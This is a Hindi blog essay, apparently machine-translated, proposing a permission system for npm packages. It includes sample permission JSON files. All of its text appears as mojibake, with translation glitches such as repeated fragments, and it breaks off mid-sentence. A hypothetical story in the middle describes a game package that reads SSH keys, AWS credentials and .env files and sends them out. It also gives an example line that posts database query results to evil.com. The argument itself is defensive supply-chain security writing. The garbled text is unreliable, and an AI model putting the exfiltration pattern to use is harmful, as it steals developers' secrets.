рдПрдХ рд╡рд┐рдЪрд╛рд░ рд╣реИ: npm рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рдкреНрд░рдгрд╛рд▓реА

рдХреБрдЫ рджрд┐рдиреЛрдВ рдкрд╣рд▓реЗ, рдореИрдВрдиреЗ рдкрд╣рд▓реА рдмрд╛рд░ рдПрдХ рдирдП рдлреЛрди рдкрд░ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдФрд░ рдпрд╣ рд╕рдВрджреЗрд╢ рджреЗрдЦрд╛: "рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдЖрдкрдХреЗ рд╕рдВрдкрд░реНрдХреЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдирд╛ рдЪрд╛рд╣реЗрдЧрд╛ред"


рдкрд╣рд▓реЗ рддреЛ рдпрд╣ рд╕рдВрджреЗрд╢ рдореБрдЭреЗ рдереЛрдбрд╝рд╛ рджреБрдЦрдж рд▓рдЧрд╛ (рдРрд╕рд╛ рд▓рдЧрддрд╛ рдерд╛ рдХрд┐ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдЕрдХреЗрд▓рд╛ рдерд╛), рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдиреЗ рдореБрдЭреЗ рд╕реЛрдЪрдиреЗ рдкрд░ рдордЬрдмреВрд░ рдХрд░ рджрд┐рдпрд╛ ...

рдХреНрдпрд╛ рд╣реЛрдЧрд╛ рдЕрдЧрд░, рдлреЛрди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рддрд░рд╣, рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рдЕрдкрдиреЗ рдХрд╛рдо рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдВ рдШреЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА? рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде, package.json рдкреИрдХреЗрдЬ рдлрд╝рд╛рдЗрд▓ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддреА рд╣реИ:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

Npmjs.com рдкрд░, рдкреИрдХреЗрдЬ рдкреЗрдЬ рдХреЗ рдПрдХ рд╣рд┐рд╕реНрд╕реЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред


рдРрд╕рд╛ рдЕрдиреБрдорддрд┐ рдЕрдиреБрднрд╛рдЧ npm рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕рд╛рдЗрдЯ рдкрд░ рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдХрд┐рд╕реА рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП рдЗрд╕ рддрд░рд╣ рдХреА рдЕрдиреБрдорддрд┐ рд╕реВрдЪрд┐рдпрд╛рдБ рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЕрдкрдиреА рд╕рднреА рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдПрдХ рд╕рдВрдпреЛрдЬрди рд╣реЛ рд╕рдХрддреА рд╣реИрдВред

fancy-logger рдкреИрдХреЗрдЬ рдХреА permissions рдХреА рд╕рд╛рдордЧреНрд░реА рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбреЗрд╡рд▓рдкрд░ рдХреЛ рдпрд╣ рд╕реЛрдЪрдиреЗ рдкрд░ fancy-logger рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХрдВрд╕реЛрд▓ рдХреЛ рдХреБрдЫ рд▓рд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдкреИрдХреЗрдЬ рдХреЛ http рдореЙрдбреНрдпреВрд▓ рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ рдФрд░ рдпрд╣ рдХреБрдЫ рд╕рдВрджрд┐рдЧреНрдз рд▓рдЧрддрд╛ рд╣реИред

рд╡рд╣ рджреБрдирд┐рдпрд╛ рдХреНрдпрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕рдореЗрдВ npm рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди рдЕрдиреБрдорддрд┐ рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛? рд╢рд╛рдпрдж рдХрд┐рд╕реА рдХреЛ рдЗрд╕рдореЗрдВ рдмрд╛рдд рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧреА, рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╣рд╕реВрд╕ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рдордп-рдкрд░реАрдХреНрд╖рдгрд┐рдд рдкреНрд░рдХрд╛рд╢рдХреЛрдВ рд╕реЗ рдХреЗрд╡рд▓ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреИрдХреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рд╕рднреА рдХреЗ рд▓рд┐рдП рдЬреЛ рдЗрд╕реЗ рдХрдордЬреЛрд░ рдорд╣рд╕реВрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрдврд╝рддрд╛ рд╣реИ, рдпрд╣рд╛рдВ рдПрдХ рдЫреЛрдЯреА рдХрд╣рд╛рдиреА рд╣реИред

рдореИрдВ рдЖрдкрдХреЗ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░реЛрдВ рдХреЛ рдХреИрд╕реЗ рдЪреБрд░рд╛рддрд╛ рд╣реВрдБ рдЗрд╕рдХреА рдХрд╣рд╛рдиреА


рдореИрдВ рдПрдХ рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬ рдмрдирд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ рдЬрд┐рд╕реЗ space-invaders рдХрд╣рд╛ рдЬрд╛рддрд╛ space-invaders ред рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рдерд╛ рдХрд┐ рдХрдВрд╕реЛрд▓ рдореЗрдВ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЧреЗрдо рдХреЛ рд▓рд┐рдЦрдХрд░ рдЧреЗрдо рдХреИрд╕реЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕рд╛рде рд╣реА рд╕рд╛рде npm рд╕рдВрдХреБрд▓ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рдореЗрд░реА рдмрд╛рдд рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдЖрдк рдЗрд╕ рдЧреЗрдо рдХреЛ рдЗрд╕ рдХрдорд╛рдВрдб рд╕реЗ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ: npx space-invaders ред рдЗрд╕рдХреЗ рд▓реЙрдиреНрдЪ рдХреЗ рдмрд╛рдж, рдХреЛрдИ рднреА рддреБрд░рдВрдд рдПрд▓рд┐рдпрдВрд╕ рдкрд░ рд╢реВрдЯрд┐рдВрдЧ рд╢реБрд░реВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╕рдордп рдХреЛ рдорд╛рд░ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рдЗрд╕ рдЦреЗрд▓ рдХреЛ рдкрд╕рдВрдж рдХрд░реЗрдВрдЧреЗ, рдЖрдк рдЗрд╕реЗ рджреЛрд╕реНрддреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХрд░реЗрдВрдЧреЗ, рд╡реЗ рднреА рдЗрд╕реЗ рдкрд╕рдВрдж рдХрд░реЗрдВрдЧреЗред

рдпрд╣ рд╕рдм рдмрд╣реБрдд рд╕рдХрд╛рд░рд╛рддреНрдордХ рджрд┐рдЦрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди, рдЖрдкрдХрд╛ рдордиреЛрд░рдВрдЬрди рдХрд░рддреЗ рд╣реБрдП, рдЦреЗрд▓ space-invaders рдЕрдкрдирд╛ space-invaders , рдЕрд░реНрдерд╛рддреН рдХреБрдЫ рдбреЗрдЯрд╛ рдХрд╛ рд╕рдВрдЧреНрд░рд╣ред рдпрд╣ ~/.aws/credentials ~/.ssh/ , ~/.aws/credentials рд╕реЗ, ~/.aws/credentials рдФрд░ рдЕрдиреНрдп рд╕рдорд╛рди рд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░реЗрдЧрд╛ред рд╕рднреА .env рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕рд╛рдордЧреНрд░реА рдкрдврд╝реЗрдВ, рдЬреЛ process.env рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреА рд╣реИ .env , рд▓реБрдХ рд╕рд╣рд┐рдд process.env git рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП (рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рдХрд┐рд╕рдХреА рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рддрд╛ рд╣реИ), рдФрд░ рдлрд┐рд░ рд╡рд╣ рдпрд╣ рд╕рдм рдореЗрд░реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред

рдореИрдВрдиреЗ рдРрд╕рд╛ рдХреЛрдИ рдЦреЗрд▓ рдирд╣реАрдВ рд▓рд┐рдЦрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рд╕рдордп рд╕реЗ рдореИрдВ рдЕрд╕рд╣рдЬ рдорд╣рд╕реВрд╕ рдХрд░ рд░рд╣рд╛ рдерд╛, рдФрд░ рдЬрдм рдореИрдВ npm install рдХрдорд╛рдВрдб рдЪрд▓рд╛рддрд╛ рд╣реВрдВ, рддреЛ рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдореЗрд░рд╛ рд╕рд┐рд╕реНрдЯрдо рдХрд┐рддрдирд╛ рдХрдордЬреЛрд░ рд╣реИред рдЕрдм, рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рдкреНрд░рдЧрддрд┐ рд╕рдВрдХреЗрддрдХ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдореИрдВ рд╕реЛрдЪрддрд╛ рд╣реВрдВ рдХрд┐ рдореЗрд░реЗ рд▓реИрдкрдЯреЙрдк рдкрд░ рдХрд┐рддрдиреЗ рдорд╛рдирдХ рдлрд╝реЛрд▓реНрдбрд░ рдФрд░ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдЬрд┐рдирдХреА рд╕рд╛рдордЧреНрд░реА рдЧрд▓рдд рд╣рд╛рдереЛрдВ рдореЗрдВ рдирд╣реАрдВ рдкрдбрд╝рдиреА рдЪрд╛рд╣рд┐рдПред

рдФрд░ рдпрд╣ рд╕рд┐рд░реНрдл рдореЗрд░реЗ рдХрд╛рд░реНрдпрдХреНрд╖реЗрддреНрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореБрдЭреЗ рдпрд╣ рднреА рдкрддрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЙрддреНрдкрд╛рджрди рд╕рд░реНрд╡рд░ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрд░реА рд╕рд╛рдЗрдЯ рдЕрд╕реЗрдВрдмрд▓реА рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдХреБрдЫ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдореЗрдВ рдбреЗрдЯрд╛ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред рдпрджрд┐ рдХрд╣реАрдВ рдРрд╕рд╛ рдбреЗрдЯрд╛ рд╣реИ, рддреЛ рдЖрдк рдРрд╕реА рд╕реНрдерд┐рддрд┐ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг npm-package рдореЗрд░реЗ рдХрд╛рд░реНрдпрд╢реАрд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред рддрдм рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ SELECT * from users рдЖрджреЗрд╢ SELECT * from users рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ http.get('http://evil.com/that-data') ред рд╢рд╛рдпрдж рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рдХрд╛рд░рдг рдпрд╣ рдареАрдХ рдерд╛ рдХрд┐ рдореБрдЭреЗ рд╕рд▓рд╛рд╣ рджреА рдЧрдИ рдереА рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╕рд╛рджреЗ рдкрд╛рда рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП?

рдпрд╣ рд╕рдм рдмрд╣реБрдд рдбрд░рд╛рд╡рдирд╛ рд▓рдЧ рд░рд╣рд╛ рд╣реИ, рдФрд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣реЛ рд░рд╣реА рд╣реИ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдХрд╣рдирд╛ рдмрд┐рд▓реНрдХреБрд▓ рдЕрд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдпрд╣ рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ)ред

рдЗрд╕рдХреЗ рд╕рд╛рде, рд╢рд╛рдпрдж, рд╣рдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рдХреА рдЪреЛрд░реА рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрдВрдЧреЗред рдЪрд▓реЛ npm рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╡рд┐рд╖рдп рдкрд░ рд╡рд╛рдкрд╕ рдЖрддреЗ рд╣реИрдВред

рд▓реЙрдХ рдХреА рдЕрдиреБрдорддрд┐ рдкрд░рд┐рд╡рд░реНрддрди


рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ npm рд╕рд╛рдЗрдЯ рдХреЛ рджреЗрдЦрддреЗ рд╕рдордп рдкреИрдХреЗрдЬ рджреНрд╡рд╛рд░рд╛ рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛ред рд▓реЗрдХрд┐рди рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗрд╡рд▓ рддрдм рд╣реА рдЕрдЪреНрдЫреА рд╣реЛрддреА рд╣реИ рдЬрдм рдХрд┐рд╕реА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдордп рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

Npm рдореЗрдВ рдПрдХ рд╣рд╛рд▓рд┐рдпрд╛ рдШрдЯрдирд╛ рдореЗрдВ, рдХрд┐рд╕реА рдиреЗ рдкрд╣рд▓реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдкреИрдХреЗрдЬ рдХрд╛ рдкреИрдЪ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛, рдФрд░ рдлрд┐рд░ рдПрдХ рдорд╛рдореВрд▓реА рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдкрд╣рд▓реЗ рд╣реА рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрди рджреЛ рдШрдЯрдирд╛рдУрдВ рдХреЗ рдмреАрдЪ рдХрд╛ рд╕рдордп рдЦрддрд░рдирд╛рдХ рдкреИрдХреЗрдЬ рдХреЗ рдХрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдерд╛ред

рдпрд╣реА рд╕рдорд╕реНрдпрд╛ рд╣реИред рдРрд╕реЗ рдкреИрдХреЗрдЬ рдирд╣реАрдВ рдЬреЛ рдореИрд▓рд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП рд╣реИрдВ рдФрд░ рд╣рд░ рд╕рдордп рдмрдиреЗ рд░рд╣рддреЗ рд╣реИрдВред рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдЙрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреИрдХреЗрдЬ рдореЗрдВ рдЖрдк рдЪреБрдкрдЪрд╛рдк рдХреБрдЫ рдмреБрд░рд╛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдереЛрдбрд╝реА рджреЗрд░ рдХреЗ рдмрд╛рдж рдЗрд╕реЗ рд╡рд╣рд╛рдВ рд╕реЗ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╣рдо рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдореЗрдВ рд╕рдВрдХреБрд▓ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕реЗрдЯ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдВрддреНрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рд╢рд╛рдпрдж рдпрд╣ package-permissions.json рдлрд╝рд╛рдЗрд▓ рдЬреИрд╕рд╛ рдХреБрдЫ рд╣реЛрдЧрд╛ рдЬреЛ Node.js рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рдЙрди рдкреИрдХреЗрдЬреЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рд╣реЛрддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде, рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рднреА рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛, рди рдХрд┐ рдХреЗрд╡рд▓ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ package.json рдлрд╝рд╛рдЗрд▓ рдХреА dependencies рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╣реИрдВред

рдпрд╣рд╛рдБ package-permissions.json рдХреНрдпрд╛ рд╣реИрдВред package-permissions.json рдлрд╝рд╛рдЗрд▓ рджрд┐рдЦ рд╕рдХрддреА рд╣реИред

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдкреИрдХреЗрдЬ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВред

рдЕрдм рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рджрд┐рди рдЖрдк рджреЛ рд╕реМ рдирд┐рд░реНрднрд░рддрд╛ рд╡рд╛рд▓реЗ рдПрдХ рдкреИрдХреЗрдЬ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЕрдкрдбреЗрдЯ рднреА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрди рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреИрдЪ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЕрдЪрд╛рдирдХ http Node.js.

рдпрджрд┐ рдРрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ, рддреЛ npm install рдХрдорд╛рдВрдб рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд╕рдорд╛рди рд╕рдВрджреЗрд╢ рдХреЗ рд╕рд╛рде рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛: тАЬ add-two-number рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП fancy-logger рдкреИрдХреЗрдЬ рдХреА рдЬрд░реВрд░рдд рд╣реИ рдЬреЛ http Node.js. рддрдХ рдкрд╣реБрдВрдЪ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред рдЗрд╕реЗ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП npm update-permissions add-two-numbers рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ, рдлрд┐рд░ npm install рдХрдорд╛рдВрдб рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдПрдБред "

рдпрд╣рд╛рдВ, fancy-logger рдкреИрдХреЗрдЬ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ package.json рдореЗрдВ рд╣реИред package.json рдлрд╝рд╛рдЗрд▓ (рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдЖрдк рдЗрд╕ рдкреИрдХреЗрдЬ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реИрдВ), рдФрд░ add-two-numbers рдкреИрдХреЗрдЬ рдПрдХ fancy-logger рдирд┐рд░реНрднрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдХрднреА рдирд╣реАрдВ рд╕реБрдирд╛ рд╣реИред

рдмреЗрд╢рдХ, рднрд▓реЗ рд╣реА рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ "рдмреНрд▓реЙрдХ" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╣реИ, рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдмрд┐рдирд╛ рдХреБрдЫ рд╕реЛрдЪреЗ-рд╕рдордЭреЗ рдирдИ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВрдЧреЗред рд▓реЗрдХрд┐рди, рдХрдо рд╕реЗ рдХрдо, package-permissions.json рдореЗрдВ рдПрдХ рдмрджрд▓рд╛рд╡редрдЬреЗрд╕рди рдкреБрд▓ рдЕрдиреБрд░реЛрдз рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛, рдЕрд░реНрдерд╛рдд, рдПрдХ рдФрд░ рдореМрдХрд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдПрдХ рдФрд░ рдЕрдзрд┐рдХ рдЬрд┐рдореНрдореЗрджрд╛рд░ рдбреЗрд╡рд▓рдкрд░ рдЗрд╕ рдкрд░ рдзреНрдпрд╛рди рджреЗрдЧрд╛ред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП npm рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬрдм рдкреИрдХреЗрдЬ рд╕рдВрдХреБрд▓ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреБрдж рд╣реА рд╕реНрдерд┐рддрд┐ рдмрджрд▓ рдЬрд╛рддреА рд╣реИ рдЬрдм рдЙрдирдХреЗ рдкреИрдХреЗрдЬреЛрдВ рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдкреЗрдбрд╝ рдореЗрдВ рдХрд╣реАрдВ рдмрджрд▓ рдЬрд╛рддреА рд╣реИред рд╢рд╛рдпрдж - рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдИ-рдореЗрд▓ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:

